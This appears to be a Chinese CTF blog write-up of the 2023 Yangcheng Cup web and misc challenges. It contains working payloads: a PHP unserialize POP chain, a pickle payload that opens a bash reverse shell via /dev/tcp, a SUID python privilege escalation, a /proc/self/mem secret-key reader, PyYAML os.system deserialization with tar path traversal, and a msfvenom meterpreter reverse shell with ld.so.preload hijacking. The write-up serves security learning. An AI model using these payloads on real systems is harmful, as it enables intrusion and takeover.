Z1d10tのBlog

A note for myself,have fun!

  1. 1. WEB
    1. 1.1. D0n’t pl4y g4m3!!!
    2. 1.2. Serpent
    3. 1.3. ArkNights
      1. 1.3.1. 非预期解
      2. 1.3.2. 预期解
    4. 1.4. ezyaml
    5. 1.5. Ez_java
    6. 1.6. Ez_web
  2. 2. Misc
    1. 2.1. EZ_misc

2023羊城杯WEB WP与复现学习

WEB

D0n’t pl4y g4m3!!!

php 7.4.21源码泄露 之前东北电力大学举办的一个ctf比赛上出过类似题目

1
/hint.zip

img

1
flag在/tmp/catcatf1ag.txt

然后用源码泄露p0p.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
class Pro{
private $exp;
private $rce2;

public function __get($name)
{
return $this->$rce2=$this->exp[$rce2];
}
public function __toString()
{
call_user_func('system', "cat /flag");
}
}

class Yang
{
public function __call($name, $ary)
{
if ($this->key === true || $this->finish1->name) {
if ($this->finish->finish) {
call_user_func($this->now[$name], $ary[0]);
}
}
}
public function ycb()
{
$this->now = 0;
return $this->finish->finish;
}
public function __wakeup()
{
$this->key = True;
}
}
class Cheng
{
private $finish;
public $name;
public function __get($value)
{

return $this->$value = $this->name[$value];
}
}
class Bei
{
public function __destruct()
{
if ($this->CTF->ycb()) {
$this->fine->YCB1($this->rce, $this->rce1);
}
}
public function __wakeup()
{
$this->key = false;
}
}

function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}
$a = $_POST["CTF"];
if(isset($a)){
unserialize(prohib($a));
}
?>

之后就是一个pop链

paylaod如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);
class Pro{
private $exp;
private $rce2;}

class Yang{

}

class Cheng
{
private $finish;
public $name;

}
class Bei
{

}
$a = new Bei();
$a->rce = '/tmp/catcatf1ag.txt';
$a->rce1='/tmp/catcatf1ag.txt';
$a->CTF = new Yang();
$a->CTF->finish->finish =1;
$a->fine = new Yang();
$a->fine->finish1->name=1;
$a->fine->finish->finish=1;
$a->fine->now=["YCB1"=>"highlight_file"];
echo urlencode(serialize($a));
?>

学到了新trick 这里也可以不用文件包含函数 直接双写绕过waf都可以

Serpent

flask伪造+python反序列化+提权

没怎么仔细好好学过python反序列化 在这里寄了

获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route('/verification')
def verification():
try:
attribute = session.get('Attribute')
if not isinstance(attribute, dict):
raise Exception
except Exception:
return 'Hacker!!!'
if attribute.get('name') == 'admin':
if attribute.get('admin') == 1:
return secret
else:
return "Don't play tricks on me"
else:
return "You are a perfect stranger to me"

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

一眼丁真 session伪造 直接解码session给了key的 GWHTNrtE8JiVyR

之后访问/src0de路由再次拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@app.route('/ppppppppppick1e')
def ppppppppppick1e():
try:
username = "admin"
rsp = make_response("Hello, %s " % username)
rsp.headers['hint'] = "Source in /src0de"
pick1e = request.cookies.get('pick1e')
if pick1e is not None:
pick1e = base64.b64decode(pick1e)
else:
return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)
return "Go for it!!!"
else:
return "No Way!!!"
except Exception as e:
error_message = str(e)
return error_message

return rsp

class GWHT():
def __init__(self):
pass

if __name__ == '__main__':
app.run('0.0.0.0', port=80)

考察python反序列化 并且有waf 要bypass R

所以用o指令来绕过

1
2
3
4
5
6
7
from flask import Flask
import base64
payload=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port <&1"'
o.'''
print(base64.b64encode(payload))

或者用i指令来绕过 都是出自:https://tttang.com/archive/1885/#toc_i

1
2
3
4
5
6
7
from flask import Flask
import base64
opcode=b'''(S'whoami'
ios
system
.'''
print(base64.b64encode(payload))

反弹shell 发现还要提权 读不了flag

因为这个题目python3.8存在suid 文件具有 SUID 权限,因此当普通用户运行它时,该程序会以文件所有者的权限来运行 所以我们可以提权

python3.8 -c "import os;os.execl('/bin/sh','sh','-p')" -c是命令行选项

或者更简单点python3 -c "print(open('/flag').read(0)"

1
2
3
4
5
6
7
解释:
"import os;os.execl('/bin/sh','sh','-p')":这部分是实际的 Python 代码片段,它由两部分组成:
import os:这行代码导入了 Python 中的 os 模块,该模块提供了与操作系统交互的功能。
os.execl('/bin/sh', 'sh', '-p'):这是要执行的 Python 代码。它使用 os.execl() 函数执行了一个系统命令。具体地说:
'/bin/sh' 是要执行的程序的路径,即 Unix Shell 的路径。
'sh' 是新程序的名称,通常是 Shell 的名称。
'-p' 是传递给新程序的参数,这里表示以特权模式启动 Shell。

img

ArkNights

非预期解

非预期了payload:/read?file=/proc/1/environ

读环境变量就有

img

预期解

考点:

  • 通过/proc/self/mem内存获取secretkey
  • python的变量污染导致render可以目录穿越
  • 任意文件读取

首先获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import uuid
from flask import *
from werkzeug.utils import *
app = Flask(__name__)
app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"
@app.route('/')
def index():
name=request.args.get("name","name")
m1sery=[request.args.get("m1sery","Doctor.Boogipop")]
if(session.get("name")=="Dr.Boog1pop"):
blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)
if blacklist:
return "bad hacker no way"
exec(f'for [{name}] in [{m1sery}]:print("strange?")')
else:
session['name'] = "Doctor"
return render_template("index.html",name=session.get("name"))
@app.route('/read')
def read():
file = request.args.get('file')
fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
if fileblacklist:
return "bad hacker!"
start=request.args.get("start","0")
end=request.args.get("end","0")
if start=="0" and end=="0":
return open(file,"rb").read()
else:
start,end=int(start),int(end)
f=open(file,"rb")
f.seek(start)
data=f.read(end)
return data
@app.route("/<path:path>")
def render_page(path):
print(os.path.pardir)
print(path)
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)
if __name__=='__main__':
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])

首先就是去伪造session 老考点了 通过计算内存偏移量来读取内存中的secretkey

读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。

/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
import re
import requests
url="http://8.130.34.53:8848"
maps_url = f"{url}/read?file=/proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
print(maps)
#print(requests.get(maps_url).text)
for m in maps:
print(m)
start, end = m.split("-")[0], m.split("-")[1]
Offset, Length = str(int(start, 16)), str(int(end, 16) - int(start, 16))
read_url = f"{url}/read?file=/proc/self/mem&start={Offset}&end={Length}"
s = requests.get(read_url).content
rt = re.findall(b"[a-z0-9]{8}\*[a-z0-9]{4}\*[a-z0-9]{4}\*[a-z0-9]{4}\*[a-z0-9]{12}Boogipopisweak", s)
print(rt)

然后就是我不知道的知识了 直接来看神のWP
首先是python的一个黑魔法导致变量覆盖

img

所以利用点在这里:

1
exec(f'for [{name}] in [{m1sery}]:print("strange?")')

其次我们是不是可以覆盖环境变量 当然神已经考虑到了:

那么假如我们想覆盖环境变量可以怎么做呢?

[[str][0]for[os.environ['BASH_FUNC_echo%%']]in[['() { id; }']]]

按照上述代码就可以覆盖环境变量,调用了os模块进行污染,如上代码可以rce输出id指令,但是我在题目里ban了,因此是不可行的。

这里涉及到之前idek考的一个pydash原型链污染的非预期了,是通过污染os.path.pardir这个变量来允许目录穿越的,我们污染了os.path.pardir就可以实现路径穿越了 修改的值为任意

来自:https://tttang.com/archive/1876/#toc_ospathpardir

至于为什么嘛 分析源码分析的 。。。。qwq??????? 🐂 我记住结论了:)

因此整个步骤为:

  1. 从内存中通过偏移量读取secretkey 伪造session
  2. 然后利用python黑魔法去污染os.path.pardir
  3. 路径穿越读flag

环境给的flag位于/tmp/flag中 所以路径穿越即可 记得路径要url编码

img

真不错啊 学到知识好多!

ezyaml

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import tarfile
from flask import Flask, render_template, request, redirect
from hashlib import md5
import yaml
import os
import re


app = Flask(__name__)

def waf(s): #设置waf
flag = True
blacklist = ['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply']
for no in blacklist:
if no.lower() in str(s).lower():
flag= False
print(no)
break
return flag
def extractFile(filepath, type):

extractdir = filepath.split('.')[0] #获取上传文件的文件名不包括后缀
if not os.path.exists(extractdir):
os.makedirs(extractdir)


if type == 'tar':
tf = tarfile.TarFile(filepath) #创建了一个 tarfile.TarFile 对象,用于操作tar压缩文件
tf.extractall(extractdir) #将tar文件中的所有内容解压到指定的目录extractdir中
return tf.getnames() #获取解压后的文件名列表并且返回

@app.route('/', methods=['GET'])
def main():
fn = 'uploads/' + md5().hexdigest() #创建文件上传路径初始化
if not os.path.exists(fn):
os.makedirs(fn)
return render_template('index.html')


@app.route('/upload', methods=['GET', 'POST'])
def upload():

if request.method == 'GET':
return redirect('/')

if request.method == 'POST':
upFile = request.files['file']
print(upFile)
if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None: #匹配上传的文件名包不包括..或者/并且匹配多行和大小写
return "<script>alert('Hacker!');window.location.href='/upload'</script>"

savePath = f"uploads/{upFile.filename}"
print(savePath)
upFile.save(savePath) #保存文件

if tarfile.is_tarfile(savePath): #用于检查给定的文件路径 savePath 是否是一个有效的tar压缩文件
zipDatas = extractFile(savePath, 'tar')
return render_template('result.html', path=savePath, files=zipDatas)
else:
return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"


@app.route('/src', methods=['GET'])
def src():
if request.args:
username = request.args.get('username')
with open(f'config/{username}.yaml', 'rb') as f: #打开yaml文件
Config = yaml.load(f.read()) #反序列化点
return render_template('admin.html', username="admin", message="success")
else:
return render_template('index.html')


if __name__ == '__main__':
app.run(host='127.0.0.1', port=8000)

大概分析在源码注释了 大致就需要我们进行一个路径穿越将我们上传后解压的文件穿越到config/这样我们的恶意文件才会被打开并且进行yaml反序列化

考点:tar的zipslip文件覆盖,yaml反序列化

文件内容为!!python/object/apply:os.system ["whoami"]改为反弹shell就行 来自https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/#pythonobjectapply 我愿称之为王の宝库

之后就是打包了tar cPvf a.tar ../../config/a.yaml

然后上传 访问/src路由 传参usename=a 即可触发反弹shell

Ez_java

不会 没学

Ez_web

考点:

  • /etc/ld.so.preload配置文件 劫持

简单理解在这个文件中我们可以设置一些恶意的文件绝对路径

然后在我们输入指令时 就会先预加载ld.so.preload这个文件中的内容 达到劫持效果

所以这道大致题目思路:

  1. 先由msf生成一个木马 然后上传上去
  2. 然后在自己vps 起msfconsole 设置好相应的参数 开始监听等待反弹
  3. 然后在题目中随便执行一个指令就会被劫持了

由于我没有环境只能大致复现一下 因为复现还给自己kali虚拟机整崩了

img

1
2
3
4
5
6
7
8
9
10
11
12
13
#生成木马 这里有个点就是我只能在我vps的/root下生成木马 其他地方生成时都是permission denied 就算给了777都是这样
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=vps的ip LPORT=1000 -f elf-so -o evil.elf
然后依次执行以下命令:
#选择攻击载荷:
use payload/linux/x64/meterpreter/reverse_tcp
#展示相关信息
show options
#设置反弹接受shell的主机ip 这里设置成本机
set lhost 0.0.0.0
#监听ip 这里当时生成木马时端口是多少 就要设置成多少
set lport 1000
#开始执行利用
exploit

参考于:

https://blog.csdn.net/whatday/article/details/108890018

https://www.anquanke.com/post/id/254388

http://162.14.111.237/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94%E4%B8%ADlinux%E5%BA%93%E6%96%87%E4%BB%B6%E5%8A%AB%E6%8C%81/

https://www.freebuf.com/column/162604.html

都是上好的文章

Misc

EZ_misc

跟之前*CTF考点一样 CVE-2023-28303

https://github.com/frankthetank-music/Acropalypse-Multi-Tool 直接用工具梭哈恢复就行了

本文最后更新于 天前,文中所描述的信息可能已发生改变